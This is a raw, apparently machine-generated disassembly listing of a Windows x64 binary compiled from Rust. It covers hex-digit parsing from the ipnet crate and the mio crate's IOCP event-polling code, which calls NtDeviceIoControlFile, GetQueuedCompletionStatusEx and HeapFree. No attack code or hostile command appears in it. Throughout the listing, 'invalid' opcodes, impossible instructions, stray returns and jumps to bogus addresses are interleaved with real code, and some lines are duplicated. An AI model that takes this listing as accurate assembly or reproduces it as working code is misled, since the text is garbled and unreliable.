lea rcx, [r15 + 1]
xor eax, eax
cmp rcx, rdx
jne 0x14003efab
jmp 0x14003f100
mov rcx, r14
call fcn.14003e860
test al, 1
jne 0x14003f17a
in al, 1
add byte [rax], al
invalid
add byte [rcx - 0x75], cl
push rsi
or byte [rbp - 0x75], cl
invalid
mov rdx, qword [r14 + 8]
mov r8, qword [r14]
mov rcx, r15
xor eax, eax
cmp rcx, rdx
je 0x14003f100
jae 0x14003f1e6
movzx eax, byte [r8 + rcx]
lea r10d, [rax - 0x30]
push rax
rol byte [rcx - 0x80], 1
cli
or dh, byte [rdx + 0x21]
invalid
push rax
rol byte [rcx - 0x80], 1
cli
or dh, byte [rdx + 0x21]
invalid
and dword [rbp + rcx*4 + 0x48], eax
lahf
lea r9d, [rax - 0x61]
cmp r9b, 6
jae 0x14003efce
stc
invalid
add al, 0xa9
jmp 0x14003efde
invalid
adc byte [rbp + rcx*4 + 0x48], al
mov edi, 0x6f98041
stc
invalid
lea r9d, [rax - 0x41]
cmp r9b, 6
stc
invalid
stc
invalid
jae 0x14003f190
add byte [rcx + rcx*8], al
add al, 0xc9
mov r10d, eax
lea r9, [rcx + 1]
lea ecx, [rcx + 1]
movzx eax, r10b
cmp r9, rdx
je 0x14003f100
jae 0x14003f1e6
movzx r10d, byte [r8 + rcx + 1]
lea r11d, [r10 - 0x30]
cmp r11b, 0xa
jb case.0x1400dd9c6.2384
lea r11d, [r10 - 0x61]
cmp r11b, 6
jae 0x14003f018
add r10b, 0xa9
jmp 0x14003f02a
lea r11d, [r10 - 0x41]
cmp r11b, 6
jae 0x14003f150
add r10b, 0xc9
mov r11d, r10d
lea r9, [rcx + 2]
mov r10d, eax
shl r10d, 4
movzx eax, r11b
ret
add eax, r10d
cmp r9, rdx
ret
je 0x14003f100
jae 0x14003f1e6
sbb dword [rax + 0x45000001], 0xf
mov dh, 0x54
or byte [rdx], al
movzx r10d, byte [r8 + rcx + 2]
lea r11d, [r10 - 0x30]
cmp r11b, 0xa
jb 0x14003f083
lea r11d, [r10 - 0x61]
cmp r11b, 6
jae 0x14003f06e
add r10b, 0xa9
jmp 0x14003f080
lea r11d, [r10 - 0x41]
cmp r11b, 6
jae 0x14003f150
add r10b, 0xc9
mov r11d, r10d
mov r9d, eax
shl r9d, 4
loope 0x14003f08e
rol dword [rcx - 0x3f], 0xe1
add al, 0x41
movzx eax, r11b
loope 0x14003f08e
movzx eax, r11b
add eax, r9d
add eax, ecx
cmp eax, 0xffff
ja 0x14003f194
lea r9, [rcx + 3]
lea ecx, [rcx + 3]
cmp r9, rdx
je 0x14003f100
pop rbx
pop rbx
jae 0x14003f1e6
movzx r10d, byte [r8 + rcx + 3]
lea r11d, [r10 - 0x30]
lea ebx, [rdx - 0x30]
lea ebx, [rdx - 0x30]
cmp r11b, 0xa
jb 0x14003f0dc
lea r11d, [r10 - 0x61]
cmp r11b, 6
invalid
jae 0x14003f0cb
invalid
add r10b, 0xa9
jmp 0x14003f0d9
ret 0xeba9
lea r11d, [r10 - 0x41]
cmp r11b, 6
jae 0x14003f150
add r10b, 0xc9
mov r11d, r10d
mov r9d, eax
shl r9d, 4
movzx eax, r11b
add eax, r9d
cmp eax, 0xffff
ja 0x14003f194
lea r9, [rcx + 4]
cmp r9, rdx
jne 0x14003f12f
nop
mov r8d, edx
sub r8d, ecx
cmovne rcx, rdx
mov qword [r14 + 0x10], rcx
je 0x14003f194
mov r15, rdx
cmp rsi, 8
je 0x14003f15d
mov word [rdi + rsi*2], ax
inc rsi
cmp rbx, rsi
jne 0x14003ef00
jmp 0x14003f173
jae 0x14003f1e6
movzx ecx, byte [r8 + r9]
lea edx, [rcx - 0x30]
cmp dl, 0xa
jb 0x14003f194
add ecx, 0xffffffbf
cmp ecx, 0x25
ja 0x14003f150
bt r13, rcx
jb 0x14003f194
mov qword [r14 + 0x10], r9
mov r15, r9
cmp rsi, 8
jne 0x14003f11d
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov ecx, 8
mov edx, 8
call fcn.140122580
xor edx, edx
mov rsi, rbx
jmp 0x14003f19a
shr rax, 8
mov ecx, eax
rol cx, 8
mov word [rdi], cx
mov ecx, 1
xor esi, esi
jmp 0x14003f1cb
mov qword [r14 + 0x10], rcx
mov qword [r14 + 0x10], r15
xor edx, edx
adc byte [rcx], dh
ror byte [rax - 0x77], cl
invalid
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp rsi, 7
cmp esi, 7
ja 0x14003f208
shr rax, 8
mov ecx, eax
rol cx, 8
mov word [rdi + rsi*2], cx
lea rcx, [rsi + 1]
cmp rsi, 7
je case.0x140016398.1765
mov edx, eax
shr edx, 0x18
shr eax, 8
and eax, 0xffff00
or eax, edx
mov word [rdi + rcx*2], ax
add al, 0x4f
add al, 0x4f
add rsi, 2
mov dl, 1
jmp 0x14003f19a
cmp rcx, rdx
cmovbe rcx, rdx
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
add eax, 0x1182cc
retf 0x8d4c
add eax, 0x1182cc
adc dword [rax], eax
call fcn.140122580
xchg dword [rbx], esi
invalid
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov rcx, r15
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
mov edx, 8
or byte [rax], al
add byte [rax], al
invalid
or byte [rax], al
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov rcx, rsi
int1
call fcn.140122580
xor ecx, dword [rsi]
add byte [rbp + rcx*4 + 5], cl
invalid
invalid
invalid
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fipnet_2.9.0_srcparser.rs
adc dword [r9], 0
add byte [rdx + 8], bh
mov edx, 8
add byte [rax], al
add al, ch
push rbx
xor ecx, dword [rsi]
invalid
add ah, cl
int3
call fcn.140122580
int3
invalid
invalid
add byte [rax - 0x39], cl
and al, 0x30
add byte [rax], al
add byte [rax], al
mov rcx, qword [rax + 0x10]
lea r8, [rsp + 0x28]
call qword [sym.imp.ntdll.dll_NtCancelIoFileEx]
add dword [rdi], ecx
invalid
test eax, eax
je 0x14003f30c
add dword [rdi], ecx
add byte [rbp + 0x3d0774c0], al
and eax, 0x75c00002
jl 0x14003f355
cmp eax, 0xc0000225
jne 0x14003f388
mov rcx, rdi
mov ecx, edi
mov byte [rcx + 0x59], 2
mov dword [rcx + 0x54], 0
xor esi, esi
mov eax, esi
and eax, 3
add eax, dword [rbx + 0x547501f8]
add eax, dword [rbx + 0x547501f8]
clc
add dword [rbp + 0x54], esi
mov rbx, rcx
mov rdi, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rax, qword [r14]
test rax, rax
je 0x14003f33e
mov rcx, rdi
call rax
dec rsi
cmp qword [r14 + 8], 0
je 0x14003f365
cmp qword [r14 + 0x10], 0x11
jb 0x14003f353
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14019f258]
or eax, 0x15fefe
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, rbx
mov byte [rcx + 0x58], 1
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov esi, eax
shl rsi, 0x20
or rsi, 2
mov rcx, rdi
mov eax, esi
and eax, 3
cmp eax, 1
je 0x14003f326
jmp 0x14003f37a
sub esp, 0x88
mov al, 1
xchg byte [rcx + 0x58], al
test al, al
add dword [rsi - 0x3f7ba7bf], eax
jne 0x14003f942
test dword [rdx + 5], esi
add byte [rax], al
mov rdi, r9
mov r14, r8
mov rbx, rdx
iretd
mov rsi, rcx
call fcn.14003f9b0
test rax, rax
je 0x14003f405
mov r15, rax
mov eax, 1
mov rdx, r15
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r8d, dword [rsp + 0xf8]
mov rcx, qword [rsi]
mov dword [rsp + 0x30], 0
mov eax, 0xffffffff
cmp r8d, 0x3b9aca00
clc
add dl, cl
invalid
cmp ecx, dword [rdi]
invalid
invalid
add byte [rax], al
invalid
clc
add dl, cl
invalid
movabs dword [0xf024948b48000000], eax
mov rdx, qword [rsp + 0xf0]
cmp r8d, 0x3b8b87c1
clc
invalid
invalid
mov edi, dword [rbx]
jb 0x14003f47c
and al, 0xf0
add byte [rax], al
add byte [rcx - 0x7f], al
clc
rol dword [rdi + 0x41723b8b], 0x48
cmp rdx, 0xffffffffffffffff
cmp rdx, 0xffffffffffffffff
je 0x14003f488
lea r9d, [r8 - 0x3b8b87c1]
lea ecx, [rax - 0x3b8b87c1]
lea rax, [rdx + 1]
lea eax, [rdx + 1]
cmp r9d, 0x3b9aca00
jb 0x14003f48e
mov r10d, r9d
shr r10d, 9
imul r10, r10, 0x44b83
shr r10, 0x27
add rax, r10
jb 0x14003f96e
imul r10d, r10d, 0x3b9aca00
sub r9d, r10d
jmp 0x14003f48e
lea r9d, [r8 + 0xf423f]
mov rax, rdx
jmp 0x14003f48e
mov r9d, 0x3b9aca00
cmp r9d, 0x3b9aca00
cmove rax, rdx
cmovne r8d, r9d
mov edx, 0x3e8
mul rdx
imul r8, r8, 0x431bde83
shr r8, 0x32
add r8, rax
adc rdx, 0
mov eax, 0xffffffff
cmp r8, rax
cmovae r8, rax
xor eax, eax
neg rdx
sbb eax, eax
or eax, r8d
mov r8d, 0xffffffff
cmp r14, r8
cmovb r8, r14
mov rcx, qword [rcx + 0x10]
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x28], 0
lea r9, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.kernel32.dll_GetQueuedCompletionStatusEx]
test eax, eax
je 0x14003f816
mov r12d, dword [rsp + 0x30]
cmp r12, r14
ja 0x14003f95c
mov byte [rsi + 0x58], 0
lea rax, [rsi + 0x30]
mov qword [rsp + 0x38], rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi + 0x30], cl
jne 0x14003f88f
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003f8ac
xor ecx, ecx
movzx eax, byte [rsi + 0x31]
test al, al
jne 0x14003f8c2
mov dword [rsp + 0x40], ecx
test r12, r12
je 0x14003f848
lea rax, [rsi + 0x38]
mov qword [rsp + 0x50], rax
shl r12, 5
add r12, 0xffffffffffffffe0
xor r15d, r15d
mov qword [rsp + 0x48], rsi
mov rbp, qword [rbx + 8]
test rbp, rbp
je 0x14003f620
nop
test byte [rbx], 1
jne 0x14003f670
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbp], cl
jne 0x14003f7c8
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003f7e3
xor r14d, r14d
movzx eax, byte [rbp + 1]
test al, al
jne 0x14003f90f
mov byte [rbp + 0x61], 0
mov dword [rbp + 0x5c], 0
movzx eax, byte [rbp + 0x60]
test al, al
jne 0x14003f6e9
mov ecx, dword [rbp + 0x18]
xor r13d, r13d
cmp ecx, 0xc0000120
je 0x14003f695
test ecx, ecx
js 0x14003f68f
cmp dword [rbp + 0x30], 0
je 0x14003f695
mov r13d, dword [rbp + 0x40]
test r13b, 0x20
je 0x14003f695
mov byte [rbp + 0x60], 1
jmp 0x14003f742
mov ebp, dword [rbx + 0x18]
mov r14, qword [rbx]
mov rsi, qword [rdi + 0x10]
cmp rsi, qword [rdi]
jne 0x14003f637
mov rcx, rdi
call fcn.14001c6c0
mov rax, qword [rdi + 8]
mov rcx, rsi
shl rcx, 4
mov qword [rax + rcx], r14
mov dword [rax + rcx + 8], ebp
inc rsi
mov qword [rdi + 0x10], rsi
inc r15
mov rsi, qword [rsp + 0x48]
test r12, r12
jne 0x14003f779
jmp 0x14003f84b
sub r15, qword [rdi + 0x10]
mov rcx, rbx
mov rdx, rdi
call qword [rbp + 0x20]
add r15, qword [rdi + 0x10]
test r12, r12
jne 0x14003f779
jmp 0x14003f84b
mov r13d, 0x100
mov ecx, dword [rbp + 0x58]
and r13d, ecx
je 0x14003f6e9
mov dword [rsp + 0x44], r14d
xor ecx, r13d
mov dword [rbp + 0x58], ecx
mov r14, qword [rbp + 0x50]
mov rsi, qword [rdi + 0x10]
cmp rsi, qword [rdi]
jne 0x14003f6bd
mov rcx, rdi
call fcn.14001c6c0
mov rax, qword [rdi + 8]
mov rcx, rsi
shl rcx, 4
mov qword [rax + rcx], r14
mov dword [rax + rcx + 8], r13d
inc rsi
mov qword [rdi + 0x10], rsi
inc r15
movzx eax, byte [rbp + 0x60]
mov rsi, qword [rsp + 0x48]
mov r14d, dword [rsp + 0x44]
test al, 1
jne 0x14003f742
mov r13, qword [rsp + 0x30]
lock inc qword [r13]
jle 0x14003f95a
mov rcx, qword [rsi + 0x38]
mov rax, qword [rsi + 0x50]
cmp rax, rcx
jne 0x14003f71c
mov rcx, qword [rsp + 0x50]
call fcn.140083a70
mov rcx, qword [rsi + 0x38]
mov rax, qword [rsi + 0x50]
mov rdx, qword [rsi + 0x48]
add rdx, rax
cmp rdx, rcx
mov r8d, 0
cmovae r8, rcx
sub rdx, r8
mov rcx, qword [rsi + 0x40]
mov qword [rcx + rdx*8], r13
inc rax
mov qword [rsi + 0x50], rax
test r14b, r14b
jne 0x14003f75a
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003f800
xor eax, eax
xchg byte [rbp], al
cmp al, 2
je 0x14003f7a0
mov rax, qword [rsp + 0x30]
lock dec qword [rax]
je 0x14003f7b4
nop
test r12, r12
je 0x14003f84b
add rbx, 0x20
add r12, 0xffffffffffffffe0
mov rbp, qword [rbx + 8]
test rbp, rbp
jne 0x14003f580
jmp 0x14003f620
mov rcx, rbp
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rax, qword [rsp + 0x30]
lock dec qword [rax]
jne 0x14003f770
lea rcx, [rsp + 0x30]
call fcn.1400fe7c0
test r12, r12
jne 0x14003f779
jmp 0x14003f84b
mov rcx, rbp
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14003f5b4
call fcn.14012bf20
mov r14d, eax
xor r14b, 1
movzx eax, byte [rbp + 1]
test al, al
je 0x14003f5c3
jmp 0x14003f90f
call fcn.14012bf20
test al, al
jne 0x14003f75a
mov byte [rbp + 1], 1
jmp 0x14003f75a
call qword [sym.imp.kernel32.dll_GetLastError]
mov ecx, eax
shl rcx, 0x20
or rcx, 2
mov byte [rsi + 0x58], 0
xor r15d, r15d
movabs rdx, 0x10200000002
xor eax, eax
cmp rcx, rdx
setne al
cmovne r15, rcx
jmp 0x14003f3ee
xor r15d, r15d
lea rcx, [rsi + 8]
call fcn.1400403c0
cmp byte [rsp + 0x40], 0
jne 0x14003f86e
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003f8f9
xor eax, eax
xor edx, edx
mov rcx, qword [rsp + 0x38]
xchg byte [rcx], dl
cmp dl, 2
jne 0x14003f3ee
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
xor eax, eax
jmp 0x14003f3ee
mov rcx, qword [rsp + 0x38]
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14003f53d
call fcn.14012bf20
mov ecx, eax
xor cl, 1
movzx eax, byte [rsi + 0x31]
test al, al
je 0x14003f54b
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x58], rax
mov byte [rsp + 0x60], cl
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401575d8]
lea r8, [rsp + 0x58]
mov edx, 0x2b
call fcn.140122900
call fcn.14012bf20
test al, al
jne 0x14003f86e
mov byte [rsi + 0x31], 1
jmp 0x14003f86e
mov qword [rsp + 0x58], rbp
mov byte [rsp + 0x60], r14b
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140157598]
lea r8, [rsp + 0x58]
mov edx, 0x2b
call fcn.140122900
lea rcx, str.assertion_failed:__self.is_polling.swap_true__Ordering::AcqRel_
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov edx, 0x3f
call fcn.140122660
ud2
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindowsiocp.rs
mov rcx, r12
mov rdx, r14
call fcn.1401225f0
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x68], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_time.rs
lea rcx, [rsp + 0x58]
call fcn.1401224d0
int3
cmp r15, rsi
je 0x14003fa70
mov rax, r12
mov rcx, rdi
jmp 0x14003fa8e
add byte [rbp - 0x7b], cl
in al, 0xf
test byte [rcx], bh
add eax, dword [rax]
add byte [rcx + rcx*4 - 8], cl
test r12, r12
je 0x14003fdb2
mov rax, r15
mov rcx, rsi
mov rsi, rdi
mov r15, r12
cmp r12, rdi
je 0x14003fdb2
mov rdi, rcx
mov r12, rax
mov rbx, qword [r15]
lea r14, [rbx + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x14003fc43
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003fc5e
xor ebp, ebp
movzx eax, byte [rbx + 0x11]
test al, al
jne 0x1400402f5
cmp byte [rbx + 0x70], 0
jne 0x14003fc10
mov r13, qword [r15]
mov dword [rbx + 0x18], 0
movzx eax, byte [rbx + 0x71]
test eax, eax
je 0x14003fb53
cmp eax, 2
je 0x14003fc10
mov eax, dword [rbx + 0x6c]
not eax
and eax, dword [rbx + 0x68]
test eax, 0x1bf
je 0x14003fc10
cmp dword [rbx + 0x28], 0x103
jne 0x14003fb43
mov rax, qword [rbx + 0x20]
lea rdx, [rbx + 0x28]
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov rcx, qword [rax + 0x10]
lea r8, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtCancelIoFileEx]
test eax, eax
je 0x14003fb43
cmp eax, 0xc0000225
jne 0x140040170
mov byte [rbx + 0x71], 2
mov dword [rbx + 0x6c], 0
jmp 0x14003fc10
mov qword [rbx + 0x40], 1
movabs rax, 0x7fffffffffffffff
mov qword [rbx + 0x38], rax
mov rax, qword [rbx + 0x58]
mov qword [rbx + 0x48], rax
mov dword [rbx + 0x54], 0
mov eax, dword [rbx + 0x68]
or eax, 0x20
mov dword [rbx + 0x50], eax
lock inc qword [r13]
jle 0x14004035a
lea rax, [rbx + 0x38]
lea r9, [r13 + 0x10]
mov rcx, qword [rbx + 0x20]
lea rdx, [rbx + 0x28]
mov dword [rbx + 0x28], 0x103
mov rcx, qword [rcx + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x78], rdx
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x48], 0x20
mov dword [rsp + 0x38], 0x20
mov dword [rsp + 0x28], 0x12024
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtDeviceIoControlFile]
test eax, eax
je 0x14003fbfc
cmp eax, 0x103
je 0x14003fbfc
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
cmp eax, 0x3e5
jne 0x14003fc89
mov byte [rbx + 0x71], 1
mov eax, dword [rbx + 0x68]
mov dword [rbx + 0x6c], eax
nop word cs:[rax + rax]
test bpl, bpl
jne 0x14003fc24
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003fc7a
add r15, 8
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x14003fa60
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
jmp 0x14003fa60
mov rcx, r14
call fcn.14012be60
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14003fabd
call fcn.14012bf20
mov ebp, eax
xor bpl, 1
movzx eax, byte [rbx + 0x11]
test al, al
je 0x14003facb
jmp 0x1400402f5
jnp 0x14003fc7e
add byte [rax], al
call fcn.14012bf20
test al, al
jne 0x14003fc24
add byte [rax + rax*8 + 0x43c6a175], al
adc dword [rcx], eax
mov byte [rbx + 0x11], 1
jmp 0x14003fc24
mov edx, eax
mov qword [rsp + 0x50], r13
lock dec qword [r13]
jne 0x14003fca7
lea rcx, [rsp + 0x50]
lea ecx, [rsp + 0x50]
mov r13, rdx
call fcn.1400fe7c0
mov rdx, r13
mov eax, edx
cmp eax, 6
jne 0x14004015c
cmp byte [rbx + 0x70], 0
jne 0x14003fc10
cmp byte [rbx + 0x71], 1
jne 0x14003fd85
cmp dword [rbx + 0x28], 0x103
jne 0x14003fd07
mov rax, qword [rbx + 0x20]
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov rcx, qword [rax + 0x10]
mov rdx, qword [rsp + 0x78]
lea r8, [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtCancelIoFileEx]
test eax, eax
je 0x14003fd07
cmp eax, 0xc0000225
jne 0x14003fd8e
mov byte [rbx + 0x71], 2
mov dword [rbx + 0x6c], 0
xor r13d, r13d
mov eax, r13d
and eax, 3
cmp eax, 1
jne 0x14003fd85
mov r8, qword [r13 - 1]
mov rcx, qword [r13 + 7]
mov rax, qword [rcx]
test rax, rax
je 0x14003fd4f
mov qword [rsp + 0x80], rcx
mov rcx, r8
mov qword [rsp + 0x78], r8
call rax
mov rcx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x78]
cmp qword [rcx + 8], 0
je 0x14003fd70
cmp qword [rcx + 0x10], 0x11
jb 0x14003fd61
mov r8, qword [r8 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
dec r13
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rbx + 0x70], 1
jmp 0x14003fc10
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov eax, r13d
and eax, 3
cmp eax, 1
je 0x14003fd20
jmp 0x14003fd85
mov r12, qword [rsp + 0x68]
mov rdi, qword [r12 + 0x50]
test rdi, rdi
je 0x14003feb5
mov bl, 1
xor esi, esi
nop dword [rax]
cmp rsi, qword [r12 + 0x50]
jae 0x140040374
mov rax, qword [r12 + 0x48]
lea rcx, [rsi + rax]
mov rdx, qword [r12 + 0x38]
cmp rcx, rdx
mov ecx, 0
cmovae rcx, rdx
mov rdx, qword [r12 + 0x40]
sub rax, rcx
add rax, rsi
invalid
mov r15, qword [rdx + rax*8]
lea rcx, [r15 + 0x10]
xor eax, eax
lock cmpxchg byte [r15 + 0x10], bl
jne 0x14003fe6a
invalid
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003fe84
xor eax, eax
movzx edx, byte [r15 + 0x11]
test dl, dl
jne 0x140040328
mov ebp, dword [r15 + 0x18]
test al, al
jne 0x14003fe47
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003fe9f
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14003fe55
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test ebp, ebp
je 0x14003fec3
inc rsi
cmp rdi, rsi
jne 0x14003fdd0
jmp 0x1400400df
mov r14, rcx
call fcn.14012be60
mov rcx, r14
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14003fe21
mov r14, rcx
call fcn.14012bf20
mov rcx, r14
xor al, 1
movzx edx, byte [r15 + 0x11]
test dl, dl
je 0x14003fe30
jmp 0x140040328
mov r14, rcx
call fcn.14012bf20
mov rcx, r14
test al, al
jne 0x14003fe47
mov byte [r15 + 0x11], 1
jmp 0x14003fe47
xor esi, esi
xor ebx, ebx
cmp rbx, rdi
jb 0x14003fed0
jmp 0x140040041
lea rbx, [rsi + 1]
cmp rbx, rdi
jae 0x140040041
xor r15d, r15d
mov bpl, 1
nop word cs:[rax + rax]
cmp rbx, qword [r12 + 0x50]
jae 0x14004035c
mov rax, qword [r12 + 0x48]
lea rcx, [rbx + rax]
mov rdx, qword [r12 + 0x38]
cmp rcx, rdx
mov ecx, 0
cmovae rcx, rdx
mov rdx, qword [r12 + 0x40]
sub rax, rcx
add rax, rbx
mov r12, qword [rdx + rax*8]
lea rcx, [r12 + 0x10]
xor eax, eax
lock cmpxchg byte [r12 + 0x10], bpl
jne 0x14003ff88
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14003ffa2
xor eax, eax
movzx edx, byte [r12 + 0x11]
test dl, dl
jne 0x140040328
mov r14d, dword [r12 + 0x18]
test al, al
jne 0x14003ff5f
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140040023
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x14003ff6d
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test r14d, r14d
mov r12, qword [rsp + 0x68]
jne 0x14003ffbe
inc rbx
cmp rbx, rdi
jb 0x14003fee0
jmp 0x140040041
mov r14, rcx
call fcn.14012be60
mov rcx, r14
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x14003ff33
mov r14, rcx
call fcn.14012bf20
mov rcx, r14
xor al, 1
movzx edx, byte [r12 + 0x11]
test dl, dl
je 0x14003ff43
jmp 0x140040328
mov rax, qword [r12 + 0x50]
cmp rax, rsi
jbe 0x14004038c
cmp rax, rbx
jbe 0x1400403a4
mov rax, qword [r12 + 0x48]
lea rcx, [rax + rsi]
mov rdx, qword [r12 + 0x38]
mov r8, qword [r12 + 0x40]
cmp rcx, rdx
mov r9, rdx
cmovb r9, r15
sub rcx, r9
add rax, rbx
cmp rax, rdx
cmovb rdx, r15
sub rax, rdx
mov rdx, qword [r8 + rcx*8]
mov r9, qword [r8 + rax*8]
mov qword [r8 + rcx*8], r9
mov qword [r8 + rax*8], rdx
inc rbx
inc rsi
cmp rbx, rdi
jb 0x14003fee0
jmp 0x140040041
mov r13, rcx
call fcn.14012bf20
mov esi, 0x894c000e
jmp 0xc513c0b6
sub edi, edi
invalid
invalid
mov esi, 0x894c000e
jmp 0xc513c0b6
mov byte [r12 + 0x11], 1
jmp 0x14003ff5f
cmp rbx, rsi
je 0x1400400df
mov rbx, qword [r12 + 0x50]
cmp rbx, rsi
jbe 0x1400400df
mov rax, qword [r12 + 0x48]
mov r8, r12
mov r12, qword [r12 + 0x38]
mov r14, qword [r8 + 0x40]
xor ecx, ecx
cmp rax, r12
mov rdx, r12
cmovb rdx, rcx
sub rax, rdx
sub r12, rax
cmp r12, rbx
mov r13, rbx
cmovb r13, r12
mov rdi, rbx
sub rdi, r12
cmovb rdi, rcx
mov qword [r8 + 0x50], rsi
cmp r12, rsi
jae 0x1400400cc
sub rsi, r13
sub rdi, rsi
mov r12, qword [rsp + 0x68]
je 0x1400400df
lea r14, [r14 + rsi*8]
jmp 0x1400400b9
add r14, 8
dec rdi
je 0x1400400df
mov rax, qword [r14]
lock dec qword [rax]
jne 0x1400400b0
mov rcx, r14
call fcn.1400fe7c0
jmp 0x1400400b0
sub r13, rsi
jne 0x140040259
cmp rbx, r12
mov r12, qword [rsp + 0x68]
ja 0x140040149
lea rcx, [r12 + 8]
call fcn.1400403c0
cmp byte [rsp + 0x64], 0
jne 0x140040103
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140040290
xor edx, edx
xor eax, eax
mov rcx, qword [rsp + 0x70]
xchg byte [rcx], al
cmp al, 2
jne 0x14004011e
mov rsi, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, rsi
mov rax, rdx
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add r14, 8
dec rdi
je 0x1400400df
mov rax, qword [r14]
lock dec qword [rax]
jne 0x140040140
mov rcx, r14
call fcn.1400fe7c0
jmp 0x140040140
shl rdx, 0x20
or rdx, 2
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], eax
jmp 0x14004018c
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
mov edx, eax
mov dword [rbx + 0x18], 1
mov dword [rbx + 0x1c], eax
shl rdx, 0x20
or rdx, 2
test bpl, bpl
mov rcx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
mov ebp, dword [rsp + 0x64]
jne 0x1400401b2
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400402a8
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x1400401d0
